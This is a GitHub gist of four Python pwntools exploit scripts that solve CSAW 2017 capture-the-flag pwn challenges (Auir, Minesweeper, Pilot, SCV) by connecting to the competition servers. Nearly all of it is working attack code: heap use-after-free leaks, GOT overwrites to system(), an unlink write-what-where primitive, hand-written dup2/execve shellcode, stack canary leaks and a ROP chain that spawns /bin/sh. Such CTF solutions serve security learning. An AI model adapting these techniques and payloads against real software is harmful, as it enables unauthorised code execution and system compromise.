Skip to content

Instantly share code, notes, and snippets.

@glem0
Last active September 25, 2017 07:27
Show Gist options
  • Save glem0/6a7d57a91c9082773c155e827fa93e60 to your computer and use it in GitHub Desktop.
Save glem0/6a7d57a91c9082773c155e827fa93e60 to your computer and use it in GitHub Desktop.
CSAW PWN challenge solutions
# CSAW 2017 Auir PWN challenge solution by glem
# https://glennmcgui.re/csaw-17-auir/
from pwn import *
#context.log_level = 'debug'
class auirPwn:
def __init__(self, p):
self.p = p
self.index = 0
def add_zealot(self, size, skills):
self.p.sendline('1')
self.p.recvuntil('>>')
self.p.sendline(str(size))
self.p.recvuntil('>>')
self.p.sendline(str(skills))
self.p.recvuntil('>>')
log.info("[add_zealot] size:%d, index:%d" % (size, self.index))
self.index+=1
return self.index-1
def destroy_zealot(self, index):
self.p.sendline('2')
self.p.recvuntil('>>')
self.p.sendline(str(index))
self.p.recvuntil('>>')
log.info("[destroy_zealot] index:%d" % index)
def fix_zealot(self, index, size, skills):
self.p.sendline('3')
self.p.recvuntil('>>')
self.p.sendline(str(index))
self.p.recvuntil('>>')
self.p.sendline(str(size))
self.p.recvuntil('>>')
self.p.sendline(skills)
self.p.recvuntil('>>')
log.info("[fix_zealot] index:%d, size:%d" % (index, size))
def display_zealot(self, index):
self.p.sendline('4')
self.p.recvuntil('>>')
self.p.sendline(str(index))
self.p.recvline()
skills = self.p.recvuntil('|---------', drop=True)
skills = skills.replace('>>[*]SHOWING....\n', '')
self.p.recvuntil('>>')
log.info("[display_zealot] index:%d" % index)
return skills
#r = process('./auir', env={'LD_PRELOAD': './libc-2.23.so'})
r = remote('pwn.chal.csaw.io', 7713)
a = auirPwn(r)
# Let's get the smallbin leak!
z1 = a.add_zealot(215, 'z1')
z2 = a.add_zealot(215, 'z2') # prevent coalesce with topchunk
a.destroy_zealot(z1)
smallbin_leak = a.display_zealot(z1)
smallbin_leak = u64(smallbin_leak)
log.success("Leaked smallbin addr: 0x%x" % smallbin_leak)
# calculate libc base!
libc_base = smallbin_leak - 0x3c4b78
log.success("Leaked libc_base: 0x%x" % libc_base)
z1 = a.add_zealot(215, 'z1_again') # restore z1 for simplicity
# offsets
free_got = 0x605060
system_offset = 0x45390
# create a primitive to write to the got
a.fix_zealot(-12, 8, p64(free_got))
# write address of system() to free() in the GOT
a.fix_zealot(-29, 8, p64(system_offset + libc_base))
# create a zealot with /bin/sh
bin_sh = "/bin/sh"
a.fix_zealot(0, len(bin_sh)+1, "/bin/sh")
# Now free the zealot with the skills of "/bin/sh"
r.sendline('2')
r.recvuntil('>>')
r.sendline('0')
# have shell
r.interactive()
# CSAW 2017 Minesweeper PWN challenge solution by glem
# https://glennmcgui.re/csaw-17-minesweeper/
from pwn import *
#context.log_level = 'debug'
context.arch = 'i386'
r = remote('pwn.chal.csaw.io', 7478)
class minePwn:
def __init__(self, p):
self.p = p
self.p.recvuntil('3) Q (Quit)\n')
def init_board(self, x, y, data):
self.p.sendline('I')
self.p.recvuntil('set in this format: B X Y\n')
self.p.sendline("B %x %x" % (int(x), int(y)))
self.p.recvuntil('marked by the character X\n')
self.p.sendline(data)
def leak_heap(self):
self.p.sendline('N')
self.p.recvuntil('3) Quit game (Q)\n')
self.p.sendline('V')
self.p.recvn(0x48)
leak = u32(self.p.recvn(4))
self.p.sendline('Q')
self.p.recvuntil('3) Q (Quit)\n')
return leak
def close_socket(self):
self.p.sendline('Q')
def write_what_where(self, what, where):
self.p.sendline('I')
self.p.recvuntil('set in this format: B X Y\n')
self.p.sendline('B 7 7')
self.p.recvuntil('marked by the character X\n')
self.p.sendline('X'*40+p32(where-8)+p32(what)+'YY')
a = minePwn(r)
shellcode = asm("""
/* jump over the ovewrite */
jmp start_dup2
nop
nop
/* unlink() overwrite starts here */
nop
nop
nop
nop
/* dup2 stdin/out/error */
start_dup2:
xor eax,eax
add eax,0x4
mov esi,eax
xor ecx,ecx
push esi
pop ebx
loop_dup2:
push 0x3f
pop eax
int 0x80
inc ecx
cmp cl,0x3
jne loop_dup2
/* call execve */
push 0xb
pop eax
xor esi,esi
push esi
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov edx,ecx
int 0x80
""")
log.info("Shellcode length: %d" % len(shellcode))
shellcode += 'X'*(64-len(shellcode))
GOT_fwrite = 0x804bd64
# create a board which gives us a reliable heap addr leak
a.init_board(8, 8, shellcode)
# now leak the address
heap_leak = a.leak_heap()
log.success("Leaked heap address: %s" % hex(heap_leak))
# 0x114 is the offset from the heap leak to the shellcode made in the leak write
shellcode_addr = heap_leak - 0x114
log.success("Shellcode address: %s" % hex(shellcode_addr))
# write to the go the address of the shellcode
a.write_what_where(shellcode_addr, GOT_fwrite)
r.interactive()
# CSAW 2017 SCV PWN challenge solution by glem
# https://glennmcgui.re/csaw-17-pilot/
from pwn import *
context.arch = 'amd64'
p = remote('pwn.chal.csaw.io', 8464)
p.recvuntil('[*]Location:0x')
buf_leak = p.recvline(keepends=False)
buf_leak = int(buf_leak, 16)
log.success("Leaked stack addr of buf: 0x%x" % buf_leak)
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
log.info("Shellcode length: %d bytes" % len(shellcode))
payload = shellcode + (40-len(shellcode))*'A' + p64(buf_leak)
p.sendline(payload)
p.recvuntil('[*]Command:')
p.interactive()
# CSAW 2017 SCV PWN challenge solution by glem
# https://glennmcgui.re/csaw-17-scv/
from pwn import *
#context.log_level = 'debug'
#p = process('./scv', env={'LD_PRELOAD': './libc-2.23.so'})
p = remote('pwn.chal.csaw.io', 3764)
# Leak the LIBC address
p.recvuntil('>>')
p.sendline('1') # feed
p.recvuntil('>>')
p.sendline('A'*39) # fill until libc leak
p.recvuntil('>>')
p.sendline('2') # leak libc
p.recvuntil('A'*39+'\n')
libc_leak = p.recvline(keepends=False)
libc_leak = u64(libc_leak.ljust(8, "\0"))
libc_base = libc_leak - 0x3a299
log.success("Libc base leaked: 0x%x" % libc_base)
# Leak the canary
p.recvuntil('>>')
p.sendline('1') # feed
p.recvuntil('>>')
p.sendline('A'*168)
p.recvuntil('>>')
p.sendline('2') # leak canary
p.recvuntil('A'*168+'\n')
canary_leak = p.recvn(7) # don't leak the null we overwrote
canary_leak = u64(canary_leak.rjust(8, "\0")) # fix back up
log.success("Canary leaked: 0x%x" % canary_leak)
# Our ROP chain
system_addr = libc_base + 0x45390
bin_sh = libc_base + 0x18cd17
pop_rdi_ret = 0x400ea3
p.recvuntil('>>')
p.sendline('1') # feed
payload = 'A'*168 + p64(canary_leak) + 'A'*8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
payload += (248-len(payload)) * 'E' # just pad out yolo
p.sendline(payload)
p.recvuntil('>>')
# actually exit function
p.sendline('3')
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment